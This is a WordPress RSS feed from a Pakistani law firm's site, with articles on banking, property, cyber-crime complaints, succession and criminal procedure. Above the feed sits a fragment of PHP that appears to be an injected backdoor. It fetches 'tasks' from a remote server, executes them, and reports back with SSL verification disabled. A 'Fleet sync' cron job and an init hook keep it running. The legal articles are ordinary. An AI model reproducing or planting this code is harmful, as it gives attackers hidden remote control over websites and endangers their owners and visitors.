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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Progressive Law Attorney https://progressivelawattorney.com Peshawar's Leading Law Firm Thu, 26 May 2022 08:16:44 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://progressivelawattorney.com/wp-content/uploads/2022/03/cropped-Progressive-law-Firm-PNG-32x32.png Progressive Law Attorney https://progressivelawattorney.com 32 32 Banking Law in Pakistan https://progressivelawattorney.com/banking-law-in-pakistan/ https://progressivelawattorney.com/banking-law-in-pakistan/#respond Thu, 26 May 2022 08:16:40 +0000 https://progressivelawattorney.com/?p=3403 Banking Law in Pakistan Read More »

]]> Banking law is a special area of law and only selected legal practitioners have expertise in Banking law. Following laws are important in the banking sector for instance: (a) Governing Banking Practice and Procedure Financial Institutions (Recovery of Finances) Ordinance, 2001; (b) Bankers Book of Evidence Act, 1891; (c) Contract Act, 1872; (d) Offences in respect of banks Ordinance, 1984; (e) State Bank of Pakistan Prudential Regulations; (f) Punjab Consumer Protection Act, 2005; Banks are usually have a practice of assigning or selling their portfolio of defaulting customers, to agencies who then hound and harass customers for recovery. Such actions are per se illegal and result in a lot of bank litigation. Furthermore, many practices involve hidden charges late, late payment charges, and compounding of interest, which all are challengeable in courts of law. It is always advisable to engage with a team of expert banking lawyers to discuss personal financial issues so that a well-thought-out legal strategy can be formulated. Most offenses under banking and finance are administered under Financial Recovery Ordinance, 2001 in special courts acting as banking courts in Pakistan. Offenses may also be tried under civil courts and through other courts if circumstances permit. Every Banking Transaction between the Bank and the Consumer is governed through the Banking legislation and the signed contract. Banking Courts play an important role in the recovery of loans and as regulators for the financial institutions, further, a Banking Mohtasib is also in place to redress the grievance against the Bank. Criminal law is also applicable in financial crimes.

]]> https://progressivelawattorney.com/banking-law-in-pakistan/feed/ 0 What are the Property Laws in Pakistan https://progressivelawattorney.com/what-are-the-property-laws-in-pakistan/ https://progressivelawattorney.com/what-are-the-property-laws-in-pakistan/#respond Sat, 08 May 2021 11:59:25 +0000 https://progressivelawattorney.com/?p=1642 What are the Property Laws in Pakistan Read More »

]]> Article 4 subsection 2 of the constitution of Islamic Republic of Pakistan provides that no action detrimental to the life, liberty, body, reputation or property of any person shall be taken except in accordance with law. This article of the constitution provides protection to all citizens of Pakistan with regards to their property rights.

In such broader protection follow detailed legislation, which provides how such property is to be protected.  Property law basically governs ownership in real property and or personal property. Real property is often categorized as immovable property and personal property relates to that which is moveable. So real estate like land would be real property and your car would be your personal property, which is moveable.

Let us consider some important areas of law with regards to protection of property.

The Transfer of Property Act, 1882

This law governs the ‘transfer of property’, which means an act by which a person is to convey property to one or more persons. The person can be a body corporate, it could be a transfer from one to many or to ones self. The transfer could be one, which is for present or for a future date. Property is broadly classified in two types mentioned above. A transfer of property effectively transfers all rights and obligations contained within such property and the transferee is then capable of subsequently passing such rights to another buyer. Every person who the law holds as competent to contract is competent to transfer property. Section 6 of Transfer of Property Act 1882 provides that any type of property can be transferred provided that the law allows the person holding property to transfer it. In other words the transferee is not barred by any condition precedent, which prohibits him/her from transferring such property.

So Transfer of Property Act 1882 is the main legislation dealing with transfer of property.

Land Revenue Act, 1967

It is law, which relates to making and maintenance of records of rights, the assessment and collection of land revenue and the appointment and function of revenue officers and other matters connected with the Land Revenue.

Stamp Act 1899

An act to provide authenticity to executed documents between parties. It provides a legal sanctity to such documents. Aims of the stamp Act also include that the government can increase their revenue by charging fee for stamps.  The stamped document ensures that it holds evidentiary value, creation of rights, preventing fraud etc..

Registration Act 1908

This act provides for instances where registration of document is compulsory. For instance, instruments of gifts of immovable property, lease of immovable property, composition deed, any instrument relating to shares in a Joint Stock Company etc

Above is a brief synopsis of the laws, which relate to property. AskWakeel is proud to announce that it comprises those lawyers who are expert in property laws and they can appropriately address any queries you may have.

]]> https://progressivelawattorney.com/what-are-the-property-laws-in-pakistan/feed/ 0 Significance of DNA Evidence in Criminal Litigation https://progressivelawattorney.com/significance-of-dna-evidence-in-criminal-litigation/ https://progressivelawattorney.com/significance-of-dna-evidence-in-criminal-litigation/#respond Sat, 08 May 2021 11:46:00 +0000 https://progressivelawattorney.com/?p=1639 Significance of DNA Evidence in Criminal Litigation Read More »

]]> DNA evidence has revolutionized the world of forensic sciences in technologically advanced countries. Many of them maintain DNA databases for the investigation of crimes. Many crimes that were once difficult to investigate due to lack of evidence are now being revisited, and offenders are being put behind bars.

Now a days DNA fingerprint technique is used world widely to solve the criminal cases that may be very difficult to solve without it. DNA test is only a part of biological evidences that are very important in the solution of a criminal case. No doubt a judge can make decision only if he has surety about the occurrence of the crime and the persons involved in it. For the identification of culprit, judge may order for forensic test of samples collected by an investigating officer. These material evidences are speechless and non-intelligent evidences, consequently cannot tell a lie, hence have great importance. Such evidences are not new and are being used throughout the history, although modified with the development of awareness and technology and hence their status of accuracy is also increasing day by day.

 It is common in judiciary not to bind the judge with specific legal evidences hence independence in legal evidences is gradually coming common so that the judge may come to an accurate and certain evidence. The purpose of this freedom of evidence is not to restrict the performance of judge by making him sticky with certain evidences, but it aims at maximizing the surety of his decision.

In Pakistan, there is no particular legal framework that specifically deals with DNA evidence, and hence the courts have to maneuver while remaining within the legal framework hitherto available. DNA evidence is evaluated in the context of Articles 59 and 164 of the Qanun-e-Shahadat Order 1984 (‘QSO’). The former provision states that expert opinion on matters such as science and art falls within the ambit of ‘relevant evidence’, whereas the latter provision provides grounds for admissibility of various modes of proof made available due to advancements in science and technology.

Punjab Forensic Science Agency (PFSA), being the largest forensic DNA laboratory in Pakistan, has been helping in solving rape, murder, dead body identification, sibship, and parentage cases. Having started its operations since 2012, PFSA has received approximately 44,417 cases for DNA analysis out of which 36,954 cases have been solved successfully while approximately 7463 cases are pending for several reasons. One of the landmark cases solved in Pakistan is the famous Zainab’s murder case. The suspect had committed 12 cases of sexual assault and murders within a radius of 2.5 km. Extensive crime scene investigation led to the apprehension of the suspect, whose involvement in all the cases was confirmed with the help of DNA testing. A total of 1187 samples were collected for DNA analysis, whereas the 814th sample proved to be of the criminal.

Despite eye-witness importance, Pakistani courts are now relying heavily on DNA-based evidences which are probabilistically measurable and also help in getting rid of false witness statements often encountered in the courts. Zainab’s murder case, solved through DNA analysis, has also led to public awareness regarding the importance of forensic DNA analysis in solving cases. In addition to PFSA, other laboratories working in the country are going towards capacity building. As far as statistical weightage of DNA evidence is concerned, development of local population DNA database, for allele frequency calculation, is still desired in the country.

]]> https://progressivelawattorney.com/significance-of-dna-evidence-in-criminal-litigation/feed/ 0 How to file a complaint against cyber-crime in Pakistan? https://progressivelawattorney.com/how-to-file-a-complaint-against-cyber-crime-in-pakistan/ https://progressivelawattorney.com/how-to-file-a-complaint-against-cyber-crime-in-pakistan/#respond Sat, 08 May 2021 11:13:35 +0000 https://progressivelawattorney.com/?p=1636 How to file a complaint against cyber-crime in Pakistan? Read More »

]]> If your Facebook page is hacked, or if someone has posted your pictures without your consent, or even if you think someone is spreading hatred online, you can simply go ahead and report such cyber -crimes to NR3C to get relief that’s mandated by law now.

Reporting cyber-crimes in Pakistan is very simple and easy, here are cyber-crimes that you can report to cyber-crime wing of FIA.

Types of Cyber Crime You Can Report

  • If someone has made a fake FB ID or Twitter ID with your name
  • If someone has posted your images without your consent
  • If someone is spreading racial or ethnic hatred
  • If someone has hacked your Facebook/Email ID
  • If someone has gained un-authorized access to your laptop, phone (Physical Information system, digital data, personal Identity)
  • If someone is defaming you on social media and you think he/she’s wrong in claims he/she is making
  • Online Fund Transfer Fraud through bank, ATM, Easypaisa, U-paisa, Time pay or any other online fund transfer facility
  • If your website is hacked by someone

How to Report Cyber Crimes

  • If you a victim or any above-mentioned offenses, then you can go ahead and follow below instructions to register a cyber-crime in Pakistan
  • Register Complaint Against Cyber Crimes by filling form online: Go to this URL and submit your application online: http://www.nr3c.gov.pk/creport.php
  • Register Complaint Against Cyber Crimes with Email: Write an application with all possible details and your complete credentials (Name, Address, CNIC, and Contact No.) and email it to this email-address: helpdesk@nr3c.gov.pk
  • Register Complaint against Cyber Crimes by writing hard-copy application: Write an application with all possible details and your complete credentials (Name, Address, CNIC, and Contact No.) and send the application to this address: Director NR3C-FIA, National Police Foundation Building, 2nd Floor, Mauve Area, G-10/4, Islamabad.
  • Registering Complaint by Walking to NR3C Regional office: Simply visit any of the regional offices of NR3C and register your complaint in person.

How to Write a Complaint against a Cyber Crime?

You can write your complain in plain English/Urdu with maximum possible details about the offense. You can attach any evidence, such as email printouts (screen-grabs) and any possible detail to help the officials understand your case better.You can also mention (nominate) anyone with their phone/address details.

How effective is it to Complain with NR3C?

NR3C is more resourceful. They have official contacts with ISPs, mobile phone companies, Facebook, Twitter and so on to get your complaint resolved.

It is to be noted that the process time of your application may be up to a few weeks, depending on type of your complaint. If you submit it in proper fashion alongside proof and needed documentation,  your complaint can get resolved with ease.

How to Get Update on Complaints:

You can email (helpdesk@nr3c.gov.pk) or contact them on 051-9106384 or mobile no: 03366006060 for any queries against your complaint and update.

]]> https://progressivelawattorney.com/how-to-file-a-complaint-against-cyber-crime-in-pakistan/feed/ 0 Procedure and Requirements of Succession Certificate https://progressivelawattorney.com/procedure-and-requirements-of-succession-certificate/ https://progressivelawattorney.com/procedure-and-requirements-of-succession-certificate/#respond Sat, 08 May 2021 10:57:40 +0000 https://progressivelawattorney.com/?p=1633 Procedure and Requirements of Succession Certificate Read More »

]]> Basically, succession certificate is registered document which is required when person dies leaving behind money in bank account, bonds or shares in company.

Once legal heirs get this certificate they can withdraw money from deceased account in Pakistan. But without having succession certificate for bank account from competent court, the banks do not allow legal hairs to get money.

It is a mandatory requirement of financial institution, that legal heirs must have succession certificate in Pakistan.

In order to get this certificate a proper case has to file in civil court. This succession certificate establishes the right of heirs and determines their share in the property. It also gives them the authority to withdraw the money or securities and transferred them in their own name.

The relevant law applicable in this process is Succession Act 1925. Sections 370 to 390 of Succession Act 1925 deal with this process.

Succession Certificate Requirements:

These documents required for succession certificate in Pakistan and are attached at the time of initiating this civil suit.

1. Death certificate of the deceased
2. CNIC (Identity Card) of the deceased
3. CNIC (Identity Card) of the heirs
4. Notices and public advertisement
5. Statement of the all heirs or any one of them
6. One independent witness

Procedure of Succession Certificate

The Procedure for getting certificate is quite simple.

Usually a readymade form is available in courts, which is used to get money from deceased account. The heirs have to fill them while mentioning the description of all movable properties which they want to withdraw.

If that form is not available then a plaint has to be filed explaining all the facts which led the heir to file this suit.

(1) On first hearing the court will order for the notices in the public newspaper as an advertisement.

(2) On second hearing the copy of advertisement is submitted in the court and further order of recording of evidence are passed.

(3) On third hearing the statement of one heir and his independent witness (who is well acquainted with the facts of the case) are recorded.

(4) Fourth hearing is fixed to hear the arguments and after that the order for granting the succession certificate are passed, only if the court is satisfied.

This whole process takes about 1 to 2 month.

When the certificate is received the heirs can take the original copy to the concerned institution and can withdraw the asses or transfer them in their own name.

]]> https://progressivelawattorney.com/procedure-and-requirements-of-succession-certificate/feed/ 0 Filing a Consumer Complaint before Consumer Court https://progressivelawattorney.com/filing-a-consumer-complaint-before-consumer-court/ https://progressivelawattorney.com/filing-a-consumer-complaint-before-consumer-court/#respond Sat, 08 May 2021 10:18:45 +0000 https://progressivelawattorney.com/?p=1628 Filing a Consumer Complaint before Consumer Court Read More »

]]> The Consumer may file case / claim before Authority/DC or Consumer Court which is headed by the District & Session judge.

 Steps for Filing Consumer Complaint:

1. 15-Days Legal Notice to Service Provider:

Consumer should serve a fifteen days legal notice on plain paper to the provider of defective product or faulty service(s), as the case may be, stating therein that he / she / they will redress the damage suffered by him / her / them and consequently pay damages to the consumer within fifteen days of receipt of legal notice, otherwise the consumer may file a claim for redressal of his / her / their grievance before Consumer Court.

a. Legal notice should be served to the manufacturers / sellers of product(s) and to the service provider, in case of provision of service, especially through registered post / mail, along-with acknowledgement.

b. There is a limitation of 30 days (from arising of cause of action) for filing a complaint in the consumer court.

c. Serving a 15 days legal notice is pre-requisite for filing claim in Consumer Court.

2. Before Consumer Court:

If matter is not resolved through legal notice, then consumer may file a case / claim on plain paper for redressal of his / her / their grievance before the Consumer Court within subsequent fifteen days.

Case / claim may be filed by the consumer himself / herself / themself or through a Lawyer.

No Court fee is required for filing claim before Consumer Court.

3. Before Authority / DC

Any person may file a complaint for violation of provision of following Sections of the Act before the Authority/DC who, on being satisfied that such is the case, fine the violator that may extend to PKR 50,000 (Rupees fifty thousand only):

Section- 11: Duty of disclosure regarding Products

Section- 16: Duty of disclosure regarding Services

Section- 18: Prices to be exhibited at the business place

Section- 19: Receipt to be issued to the purchaser

Note: No legal notice is required for filing complaints before Authority.

The Consumer Court shall decide the claim within six months after the service of summons on the respondent.

]]> https://progressivelawattorney.com/filing-a-consumer-complaint-before-consumer-court/feed/ 0 Criminal Trail in Pakistan https://progressivelawattorney.com/criminal-trail-in-pakistan/ https://progressivelawattorney.com/criminal-trail-in-pakistan/#respond Sat, 08 May 2021 10:15:49 +0000 https://progressivelawattorney.com/?p=1625 Criminal Trail in Pakistan Read More »

]]> The process of criminal trials from the reporting of an alleged offence to the conviction or acquittal of an accused over a subsequent charge is as follows:

Cognizable offences are either reported to the police or other law enforcement agencies or anti-corruption bodies, depending on the relevant jurisdiction. The reporting of any such offence takes place through an application which is either written or narrated orally to the competent authority, by virtue of Section 154 of the Code of Criminal Procedure 1898 (CrPC). According to S.154 CrPC, once a cognizable offence has been committed, the Station House Officer (SHO), Operations becomes legally bound to register a criminal case against the accused, whenever the relevant information is reported before the SHO.

After the registration of a case, the investigation officer (IO) records the statements of witnesses and collects initial evidence, by virtue of the powers conferred under S.161 CrPC. After completion of the initial investigation, a challan is presented before the trial court under S.173 of the CrPC, following which the trial commences and the court issues notices to present the accused before the jail superintendent, either if the accused has been confined to jail or out on bail. For the accused at large, the court declares them proclaimed offenders, while substitute methods for service of notice are used to summon them, such as through newspaper, etc. The complainant is also summoned and copies of the challan are provided within court premises to the complainant and the accused under section 241-A of CrPc. On the next date of hearing, a formal charge is framed by virtue of section 242 of CrPC and the accused is asked whether he or she has committed the alleged crime. Upon admission of the accused, the magistrate, exercising powers conferred under section 243 of the CrPC, may convict the accused.

The framing of charge marks the commencement of trial. The prosecution is summoned for its evidence and witnesses, which are later cross-examined by the defense, followed by examining any property recovered by the investigators. Once the prosecution has made out its case, the accused may be examined by the court by being asked certain questions before being provided with an opportunity to present evidence. According to Section 342 CrPC:

“For the purpose of enabling the accused to explain any circumstances appearing in the evidence against him, the court may, at any stage of any inquiry or trial without previously warning the accused, put such questions to him as the court considers necessary.”

The defense then submits its evidence and the prosecution gets a chance to cross-examine the defense’s evidence. The trial is then concluded and final arguments are heard, after which a judgment is pronounced by the court.

Two relevant principles on the basis of which criminal cases are to be decided include the presumption of innocence (according to which everyone is presumed innocent unless proven guilty) and the burden of proof (whereby the prosecution has to prove its case beyond reasonable doubt as opposed to civil cases where the burden of proof is based on a balance of probabilities).

]]> https://progressivelawattorney.com/criminal-trail-in-pakistan/feed/ 0 Intellectual Property Laws in Pakistan https://progressivelawattorney.com/intellectual-property-laws-in-pakistan/ https://progressivelawattorney.com/intellectual-property-laws-in-pakistan/#respond Sat, 08 May 2021 10:12:16 +0000 https://progressivelawattorney.com/?p=1622 Intellectual Property Laws in Pakistan Read More »

]]> Intellectual Property laws of Pakistan include the copyright laws, patent laws and trademark laws. This area of law protects the work of creative individuals and businesses from unauthorized use or exploitation by third parties. By utilizing Intellectual Property laws, creators and innovators can fully protect and benefit from their creations.

Several general principles are important for effective management of intellectual property (IP) rights in Pakistan. First, it is important to have an overall strategy to protect your IP. Second, IP is protected differently in Pakistan than in the U.S. Third; rights must be registered and enforced in Pakistan, under local laws. Your U.S. trademark and patent registrations will not protect you in Pakistan.

Intellectual property issues are critical to the success of any business, regardless of its size. Registration of patents and trademarks is on a first-in-time, first-in-right basis, so you should consider applying for trademark and patent protection even before selling your products or services in the Pakistan market.

Tariq & Waheed Lawyer’s Firm helps clients in virtually all industries, obtain, protect and enforce patents, trademarks, copyrights, trade secrets and other intellectual property rights. Our IP lawyers have extensive legal and commercial experience as in-house IP counsel, patent and trademark examiners.  The whole focus of our IP counsel is secure the IP Rights for our clients to the maximum competitive advantage from effective exploitation and safeguarding their intellectual assets.

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